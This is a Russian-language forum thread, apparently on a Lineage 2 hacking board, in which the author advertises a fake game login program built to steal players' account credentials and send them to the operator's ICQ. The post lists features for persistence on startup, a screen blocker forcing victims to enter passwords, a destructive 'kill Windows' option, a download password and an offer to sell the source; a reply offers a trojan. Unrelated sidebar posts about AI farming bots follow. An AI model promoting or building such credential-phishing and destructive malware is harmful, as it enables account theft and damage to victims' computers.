Jump to content

Recommended Posts

Posted

Прога создана для развода на аккаунты от lineage 2.

Все логи приходят к вам на ICQ. В дальнейшем будет реализовано и на email.

 

 

Изменения:

+ Добавлена функция "Убить Windows" (После ввода логина и пароля, нубу придеться переустанавливать Windows)

Внимание! Ни в коем случае не тестируйте эту функцию на своём ПК!

 

+ Добавлена функция "Автозагрузка". (Теперь при загрузки Windows фейк будет автоматически запускаться)

 

+ Добавлена функция "Смена key логина" (При вводе слово zhyk в поле логин вы попадаете в скрытое меню, так теперь вы можете ставить свое слово, К примеру если я сделал слово LOL то и вводить в поле логин я буду не zhyk а LOL.Прога чувствительна к регистру!)

 

+ Добавлена Функция "Приветствие" (Внизу по умолчанию стоит "Добро пожаловать на сервер!" вы можете изменить этот текст. Этот текст также будет приходить к вам на ICQ )

И те кто всё ещё думает что пароли сначала приходят мне а потом вам, это не так! Пароли сразу же идут к вам! Мне незачем флудить свою асю миллионами сообщений. Кто всё ещё так думает: "Лес там --->"

 

Как настроить:

1) В поле логин вводим zhyk(по умолчанию), выходит скрытое окно меню
2) В поля "Логин icq" И "Пароль icq" вводим логин и пароль icq от которой будут идти пароли, icq можно зарегистрировать на icq.com
3) В следующем поле вводим icq куда будут приходить логи
4) Выбираем дополнительные настройки, сохраняем и используем. (Про дополнительные настройки читайте выше)

Скрины:

6a7fd2417268t.jpg

 

405c2a4d4aadt.jpg

 

Скачать/Download password/пароль: zhyk

 

Люди будьте человеками!

При копирование на другие форумы и сайты оставляйте копирайт и указывать ссылку на источник или хотябы автора! Спасибо.

 

P.S. Все баги проги прошу отписывать в эту тему. Исходники также продаю писать в ICQ 204-924 или на email im0nk@xakep.ru

В дальнейшем этот пост буду обновлять.

 

Новая версия

Изменения:
+ Добавил лого загрузки клиента
+ Убрал config.cfg (Теперь вам нужно кинуть жертве только 1 файл!)
+ Добавил что то вроде "блокиратора" (при загрузке windows будет загружаться ваш фейк и ничего больше, думаю пользователю придеться вести лог и пасс)
+ Добавил ещё пару мелочей
+ Добавил метку ( Если вы хотите разводить не на один сервак а на несколько вы можете ставить метку, текст метки будет отправляться вам в icq)

 

А теперь о минусах:
- Сделал только для ИНТЕРЛЮД (т.к. у меня нет других клиентов, и скринов тоже нет, кому нужно сделать другие хроники кроме как инерлюд пишите в лс или личку)
- Шанс что "блокиратор" удалят 50% (сам не тестил)
- Я окончательно понял что анимацию и т.п. вставлять в vb нельзя ( хотя нашёл один способ но слишком уж глючит)

 

Буду пытаться доработать "фейк" до конца, после чего займусь другим более серьёзным проектом.Ещё раз прошу выслать скрины от других хроник в лс. Спасибо.

 

С уважением m0nk

 

  • 3 weeks later...
Posted

Старая угонялка =)), лучше уж сделать отсылку данных на веб сервер куда-нибудь.

  • 3 weeks later...
  • 8 months later...
  • 1 month later...
Posted

 

Demon152 тебе для каких целей? могу поделиться троянчиком, фейком накрутки л2топа и прочими радостями ;)

Posted

Demon152 тебе для каких целей? могу поделиться троянчиком, фейком накрутки л2топа и прочими радостями ;)

Добрый ты)
Guest
This topic is now closed to further replies.


  • Posts

    • Yeah, that's fair. I'll create a full AI-based fake player engine out of this to see how far it can go.
    • sell adena l2rebon signature x1 - 1kk = 1 dollars l2reborn x10 - 500kk = 4 dollars E-Global x Lu4 - 1kk = 2 dollars BOHPTS - x20-x500 TOP PRICE DISCORD - GODDARDSHOP TELEGRAM - MMOPROMO Also on sale are Epic jewelry, Clothes at a very good price
    • Don't get me wrong, I have no hate for AI. The potential for LLMs in gaming, especially for creating dynamic NPC dialogues or complex, adaptive game masters, is immense. The point of my previous post wasn't to dismiss AI as a whole, but to question its practical application for this specific, solved problem.   However, the example given (basic farming) is the worst possible use case to demonstrate this potential. It's the equivalent of using a fusion reactor to power a desk lamp. The overhead is astronomical compared to the task. The core of my argument is about efficiency and the right tool for the job. For the predictable, loop-based behavior of auto-farming, a state machine is not just adequate; it is superior. It is lightweight, incredibly fast, reliable, and consumes negligible resources.   To prove it's not about the volume of code but the efficiency of execution, here is the entirety of the auto-play logic for my server: AutoPlayTaskManager 400 lines of code: AutoUseTaskManager 470 lines of code: This code provides full, retail-like auto-play support for all classes, including offline play. It runs on any standard VPS without a dedicated GPU, using a tiny fraction of CPU cycles. An LLM-based solution for this same task, even a "weaker" one, would: -Introduce significant latency (response time) for each decision. -Require expensive GPU hardware to run locally or incur API costs for cloud services. -Add immense complexity for parsing natural language responses back into game actions. -Be inherently less reliable than a simple "if mob dead -> loot" check. So, while I agree the research is "quite cool" as a proof-of-concept, championing it as a practical solution for auto-farming is where the "AI hype" label fits. The real innovation would be applying that LLM power to a problem a state machine can't easily solve, not one it already solves perfectly.
    • Ofc it does 🙂 . All it was trained on was farming for levelling. It's not about doing something unpredictable. It's about potential. Feed it a bigger context and train it on class-specific fighting patterns, buffing, item values, trading, chatting in L2 lingo, reading trade chat, party-based farming, crafting goals, etc, and you have something that a normal deterministic bot would take a really long time coding to achieve.   Add that to all of the work being offloaded to a model instead of the gameserver, and you have a much better solution that feels way more natural. Ofc you can do pretty much everything with a state machine but you'd have to write insane amounts of code. It's a waste of time. Don't be blindsided by your hate for AI. There is considerable potential here.
    • AI hype from dumb AF devs at it's best. The video shows a character doing the most predictable loop imaginable attack, loot, repeat. You don't need a "reasoning" LLM for that. A lightweight task scheduler or even a basic script can handle it with a fraction of the resources and zero GPU overhead.   Spinning up a big language model to decide "hit the mob and pick up the drop" isn’t clever, it is wasteful. It's like hiring a rocket scientist to flip a light switch: impressive hardware, pointless job.
  • Topics

×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disabled AdBlock